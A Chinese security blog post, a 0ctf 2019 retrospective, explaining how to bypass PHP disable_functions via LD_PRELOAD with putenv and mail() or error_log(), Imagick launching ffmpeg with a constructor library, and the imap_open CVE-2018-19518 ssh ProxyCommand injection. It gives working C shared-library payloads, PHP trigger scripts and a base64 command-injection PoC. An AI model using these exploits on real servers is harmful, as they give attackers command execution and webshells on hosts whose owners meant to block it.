文章首发于先知社区https://xz.aliyun.com/t/4623

简介

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用

Bypass思路

利用LD_PRELOAD

什么是LD_PRELOAD

1
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

简单来说就是LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用

demo

光看概念估计你可能会很懵,我们来写一个简单的demo来了解一下啥是LD_PRELOAD
首先我们先写一个id.c,内容如下:

1
2
3
4
5
6
7
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

执行一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
qiyou@ubuntu:~/Desktop$ id
uid=1000(qiyou) gid=1000(qiyou) groups=1000(qiyou)....

qiyou@ubuntu:~$ whoami
qiyou

qiyou@ubuntu:~/Desktop$ gcc -shared -o id.so id.c

qiyou@ubuntu:~/Desktop$ export LD_PRELOAD=./id.so

qiyou@ubuntu:~/Desktop$ id
uid=0(root) gid=0(root) egid=1000(qiyou)....

qiyou@ubuntu:~/Desktop$ whoami
root

可以看到uid和gid都变为了0,权限也变为了root

我们可以用ldd查询一下依赖关系,可以发现id.so(我们编译的动态链接库)在其它动态链接库之前提前被加载了,也就是说我们的恶意代码中的函数覆盖了原本的动态链接库的函数

image.png
image.png

配合putenv+mail

putenv官方手册是这么解释的:

1
2
putenv ( string $setting ) : bool
添加setting到服务器环境。环境变量仅在当前请求的持续时间内存在。在请求结束时,环境将恢复到其原始状态。

如果该函数未被ban掉的话,即使是禁用了其它常见的函数,也可能会导致rce
我们可以按照如下步骤:

  1. 生成一个我们的恶意动态链接库文件
  2. 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  3. 配合php的某个函数去触发我们的恶意动态链接库文件
  4. Getshell

那么php中的某个函数怎么去找呢,参考了该文章,发现mail()函数可以使用,而mail()函数执行默认是会调用外部程序sendmail的,看一下php.ini就会发现默认调用sendmail -t -i

image.png
image.png

PS:如果没有安装sendmail的话可以用apt-get install sendmail安装sendmail

我们可以用strace查看一下mail函数调用的过程,可以很明显看出来执行了sendmail -t -i

image.png
image.png

然后我们可以使用 readelf -Ws /usr/sbin/sendmail 可以查看senmail都调用了哪一些函数,然后从中选几个即可,这里我们选择getuid

image.png
image.png

然后就可以编写我们的动态连接程序
test.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls > test");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后生成我们的动态链接程序

1
2
gcc -c -fPIC test.c -o test
gcc --share test -o test.so

然后编写php脚本mail.php

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","","");
?>

执行一波,然后用strace查看调用过程是否执行了我们的ls > test,可以发现成执行了我们的命令

image.png
image.png
image.png
image.png

配合putenv+error_log

0ctf2019的Wallbreaker Easy中ban了mail函数,但是error_log没有ban掉,故我们可以用error_log来bypass disabled_functions

error_log的一些参数

1
2
3
error_log(error,type,destination,headers)

当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

编写php脚本,动态链接文件同上,error_log调用的过程中(当type为1时)和mail函数一样,也会调用sendmail,

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

image.png
image.png
image.png
image.png
image.png
image.png

利用ImageMagick

环境搭建

这个搭建环境有一丝丝繁琐,不过没关系,按照我以下步骤来应该问题不大QAQ

1
2
1:apt-get update&&apt-get install imagemagick
2:convert -version //如果安装成功会返回imagemagick版本号

image.png
image.png

安装几个依赖

1
2
apt-get install php-pear php-dev
apt-get install libmagickwand-dev

下载以及安装imagick

1
2
3
4
5
6
7
8
9
10
11
12
13
1.wget http://pecl.php.net/get/imagick-3.4.3.tgz

2.tar -zxvf imagick-3.4.3.tgz

3.phpize

4. ./configure --with-php-config=/usr/bin/php-config --with-imagick=/usr/local/imagemagick //注意php-config可能会不同,要根据你具体的情况来修改

5.make&&make install

6.改一波php.ini,随便一行添加:extension = imagick.so

7.然后php -r "phpinfo();"|grep imagick,看有没有安装成功

成功安装

image.png
image.png

然后安装ffmpeg

1
2
apt-get install ffmpeg
ffmpeg -v 看看是否安装成功

成功安装

image.png
image.png

如何利用

那么我们应该如何利用呢,参考了飘零师傅的分析,可以知道当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件

1
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

我们来写一个小demo来验证一下是否正确
img.php

1
2
3
<?php
$img = new Imagick('img.mp4'); //img.mp4文件必须存在,否则就会不去调用ffmpeg
?>

我们strace一下看看执行的过程,可以发现在执行的过程中调用了ffmpeg

image.png
image.png

配合__attribute__函数

PS: __attribute__的介绍

1
2
3
4
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线,并且后面会紧跟一对原括弧,括弧里面是相应的__attribute__参数

__attribute__语法格式为:__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。例如下面的程序:

我们可以知道当该函数为__attribute__((__constructor__))的时候,会在main()函数执行之前被自动的执行
所以我们尝试构造poc.c

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls > test");
}

然后生成我们的动态链接程序

1
2
gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so

img.php

1
2
3
4
<?php
putenv("LD_PRELOAD=./poc.so");
$img = new Imagick('img.mp4');
?>

运行一波,发现我们的命令执行成功了

image.png
image.png

利用imap_open (CVE-2018-19518)

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

ssh的-oProxyCommand 参数
SSH 命令中用到了许多命令,其中我们可以使用 -o 参数来设置连接期间可用的各种选项。在建立SSH连接之前,我们可以设置 ProxyCommand参数,如下所示:

1
2
3
4
5
6
7
8
qiyou@ubuntu:~/test$ ls

qiyou@ubuntu:~/test$ ssh -oProxyCommand="touch test.txt" 192.168.1.123

ssh_exchange_identification: Connection closed by remote host

qiyou@ubuntu:~/test$ ls
test.txt

可以发现即使是ssh连接失败了,但是命令还是执行了。

CVE-2018-19518的环境可以直接使用vulhub上的环境:链接

直接上poc

1
2
3
4
5
6
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

执行一波,可以发现执行成功了,要想写webshell的话直接把我们的exp改一下就ok了,这里就不多赘述了

image.png
image.png

后记

被0ctf锤哭了,膜RR师傅Orz,比赛的时候没有做出来,赛后没有时间复现,等到想要复现的时候环境已经关了,只能是本地复现了,顺便总结了一下。

image.png
image.png

Reference

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html
https://www.jianshu.com/p/137ae1400337
https://blog.csdn.net/haoel/article/details/1602108
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php